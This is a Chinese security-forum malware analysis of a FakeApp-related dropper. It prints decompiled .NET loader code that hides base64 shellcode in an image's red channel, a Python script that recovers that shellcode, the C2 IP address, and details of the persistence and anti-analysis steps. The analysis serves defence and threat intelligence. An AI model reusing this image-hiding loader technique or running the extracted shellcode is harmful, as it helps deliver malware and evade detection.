首页
社区
课程
招聘
[原创]一款FakeApp相关病毒样本分析
发表于: 2025-8-1 14:06 3851

[原创]一款FakeApp相关病毒样本分析

2025-8-1 14:06
3851

文件名: xrk1_setup.exe

SHA1: 300602f268cec6dc2c8d99d0098f6cde7f4fae97

样本程序运行起来,生成了一个 InternetDownl.dll

该 dll 的文件信息如下,有Confuser壳 ,疑似黑 dll。

Confuser 1.x 是一款针对.NET应用程序的开源免费加壳工具

用ConfuserEx-Unpacker-v2.0 脱一下壳

再看一下文件信息,发现虽然脱掉了壳,但还是有混淆和反调试

再用 dnspy 看一下脱壳后的文件,可以看到很明显的恶意特征

点进 DecodeName() 查看

随便找一个在线网站对**MS5wbmc=**解码,发现是1.png

再找找样本程序运行时有没有这个文件,找到了

再看一下ExtractBase64() 函数

根据ExtractBase64() 写一个解密的 Python 脚本

先安装库,pip install Pillow,让后再运行解密脚本

看到 E9 开头,应该可以确认是一个 shellcode

然后再写一个加载这个 shellcode 的小程序

编译好后准备加载刚刚提取的 shellcode 文件**extracted_shellcode.bin****,**应该是链接到了某个 IP 地址

可以看到连接的 IP 地址是 **116.213.43.42**

VT 和微步查看该 IP 地址的相关情报,可以看到这个地址是恶意的

shellcode 执行后先是获取系统 dll 的各个 函数地址,包括 Loadlibrary()、VirtualAlloc()、VirtualFree()、RtlCaptureContext()、GetPrivateProfileStringA()。

shellcode 在搜索 "By@v<"字样执行一个内存扫描操作,目的是在1000字节的范围内找到一个硬编码的标记 "By@v<"。成功找到该标记后,Shellcode 就能定位其配置数据,为后续建立网络连接(连接到攻击者的C2服务器)、下载并执行更复杂的恶意软件做准备,在地址 0x6071c 找到了

接着 shellcode 解密出要连接的 IP 地址116.213.43.42并准备开始连接

黑 dll 利用 powershell 创建了一个计划任务,用户在登录系统时会启动 ShellcodeLoader.exe

猜测可能是Shellcode 运行时,会首先尝试创建或检查 C:\Users\Public\Documents\SyS.ini 文件。如果文件不存在,它会创建该文件,然后继续执行后续的恶意代码,起到一个互斥体的作用

图片描述
总结:该 Shellcode 首先通过 PEB(进程环境块)遍历来动态解析所需的 Windows API 函数地址(如 LoadLibraryA, VirtualAlloc, WSAStartup, connect, recv 等),然后解密出 IP 地址16.213.43.42 并连接,同时还检测是否存在杀软进程

// Loader
// Token: 0x0600000F RID: 15 RVA: 0x000024B0 File Offset: 0x000006B0
private static T0 DecodeName<T0>()
{
    return Encoding.UTF8.GetString(Convert.FromBase64String("MS5wbmc="));
}
// Loader
// Token: 0x0600000F RID: 15 RVA: 0x000024B0 File Offset: 0x000006B0
private static T0 DecodeName<T0>()
{
    return Encoding.UTF8.GetString(Convert.FromBase64String("MS5wbmc="));
}
// Loader
// Token: 0x0600000E RID: 14 RVA: 0x00002430 File Offset: 0x00000630
private static T4[] ExtractBase64<T0, T1, T2, T3, T4, T5>(T5 img)
{
    T0 t = Activator.CreateInstance(typeof(T0));
    for (T1 t2 = 1; t2 < img.Height; t2++)
    {
        for (T1 t3 = 1; t3 < img.Width; t3++)
        {
            StringBuilder stringBuilder = t;
            T2 pixel = img.GetPixel(t3, t2);
            stringBuilder.Append((char)pixel.R);
        }
    }
    return Convert.FromBase64String(t.ToString().Replace("\0", ""));
}
// Loader
// Token: 0x0600000E RID: 14 RVA: 0x00002430 File Offset: 0x00000630
private static T4[] ExtractBase64<T0, T1, T2, T3, T4, T5>(T5 img)
{
    T0 t = Activator.CreateInstance(typeof(T0));
    for (T1 t2 = 1; t2 < img.Height; t2++)
    {
        for (T1 t3 = 1; t3 < img.Width; t3++)
        {
            StringBuilder stringBuilder = t;
            T2 pixel = img.GetPixel(t3, t2);
            stringBuilder.Append((char)pixel.R);
        }
    }
    return Convert.FromBase64String(t.ToString().Replace("\0", ""));
}
import base64
from PIL import Image
 
def extract_data_from_image(image_path: str) -> bytes:
    try:
        # 打开图片文件
        with Image.open(image_path) as img:
            # 确保图片是RGB模式,以访问R通道
            if img.mode != 'RGB':
                img = img.convert('RGB')
 
            width, height = img.size
             
            # 用于拼接字符的列表
            char_list = []
 
            # 遍历像素 (从1,1开始,与C#代码保持一致)
            for y in range(1, height):
                for x in range(1, width):
                    # 获取(x, y)位置像素的RGB值
                    r, g, b = img.getpixel((x, y))
                     
                    # C#代码中的 .Replace("\0", "") 相当于忽略R值为0的像素
                    if r != 0:
                        char_list.append(chr(r))
             
            # 将字符列表拼接成Base64字符串
            base64_string = "".join(char_list)
             
            # 解码Base64字符串
            # 为防止因填充错误导致解码失败,可以尝试添加等号填充
            padding_needed = len(base64_string) % 4
            if padding_needed:
                base64_string += '=' * (4 - padding_needed)
 
            decoded_data = base64.b64decode(base64_string)
            return decoded_data
 
    except FileNotFoundError:
        print(f"错误: 文件 '{image_path}' 未找到。")
        raise
    except base64.binascii.Error as e:
        print(f"Base64解码错误: {e}。从图片中提取的数据可能不是有效的Base64编码。")
        raise
    except Exception as e:
        print(f"处理图片时发生未知错误: {e}")
        raise
 
# --- 主程序 ---
if __name__ == "__main__":
    IMAGE_FILE = "1.png"  # 将这里替换为您的图片文件名
 
    try:
        # 调用函数提取数据
        shellcode = extract_data_from_image(IMAGE_FILE)
         
        # 将提取到的字节数据以十六进制格式打印出来
        # 这种格式在分析shellcode时更常用
        print(f"成功从 '{IMAGE_FILE}' 中提取数据 (shellcode):")
        print(shellcode.hex())
 
        # 如果需要将shellcode保存到文件
        with open("extracted_shellcode.bin", "wb") as f:
            f.write(shellcode)
        print("\n已将数据保存到文件 'extracted_shellcode.bin'")
 
    except Exception:
        print("未能成功提取数据。")
import base64
from PIL import Image
 
def extract_data_from_image(image_path: str) -> bytes:
    try:
        # 打开图片文件
        with Image.open(image_path) as img:
            # 确保图片是RGB模式,以访问R通道
            if img.mode != 'RGB':
                img = img.convert('RGB')
 
            width, height = img.size
             
            # 用于拼接字符的列表
            char_list = []
 
            # 遍历像素 (从1,1开始,与C#代码保持一致)
            for y in range(1, height):
                for x in range(1, width):
                    # 获取(x, y)位置像素的RGB值
                    r, g, b = img.getpixel((x, y))
                     
                    # C#代码中的 .Replace("\0", "") 相当于忽略R值为0的像素
                    if r != 0:
                        char_list.append(chr(r))
             
            # 将字符列表拼接成Base64字符串
            base64_string = "".join(char_list)
             
            # 解码Base64字符串
            # 为防止因填充错误导致解码失败,可以尝试添加等号填充
            padding_needed = len(base64_string) % 4
            if padding_needed:
                base64_string += '=' * (4 - padding_needed)
 
            decoded_data = base64.b64decode(base64_string)
            return decoded_data
 
    except FileNotFoundError:
        print(f"错误: 文件 '{image_path}' 未找到。")
        raise
    except base64.binascii.Error as e:
        print(f"Base64解码错误: {e}。从图片中提取的数据可能不是有效的Base64编码。")
        raise
    except Exception as e:
        print(f"处理图片时发生未知错误: {e}")
        raise
 
# --- 主程序 ---
if __name__ == "__main__":
    IMAGE_FILE = "1.png"  # 将这里替换为您的图片文件名
 
    try:
        # 调用函数提取数据
        shellcode = extract_data_from_image(IMAGE_FILE)
         
        # 将提取到的字节数据以十六进制格式打印出来
        # 这种格式在分析shellcode时更常用
        print(f"成功从 '{IMAGE_FILE}' 中提取数据 (shellcode):")
        print(shellcode.hex())
 
        # 如果需要将shellcode保存到文件

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2025-8-1 14:14 被ZyOrca编辑 ,原因: 修正错误、调整措辞
收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 42
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
可以私聊吗
2025-8-3 22:12
0
雪    币: 6226
活跃值: (3674)
能力值: ( LV10,RANK:160 )
在线值:
发帖
回帖
粉丝
3
mb_yqsvfqmf 可以私聊吗
可以的
2025-8-4 11:03
0
雪    币: 42
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
ZyOrca 可以的
你v?
2025-8-5 00:54
0
游客
登录 | 注册 方可回帖
返回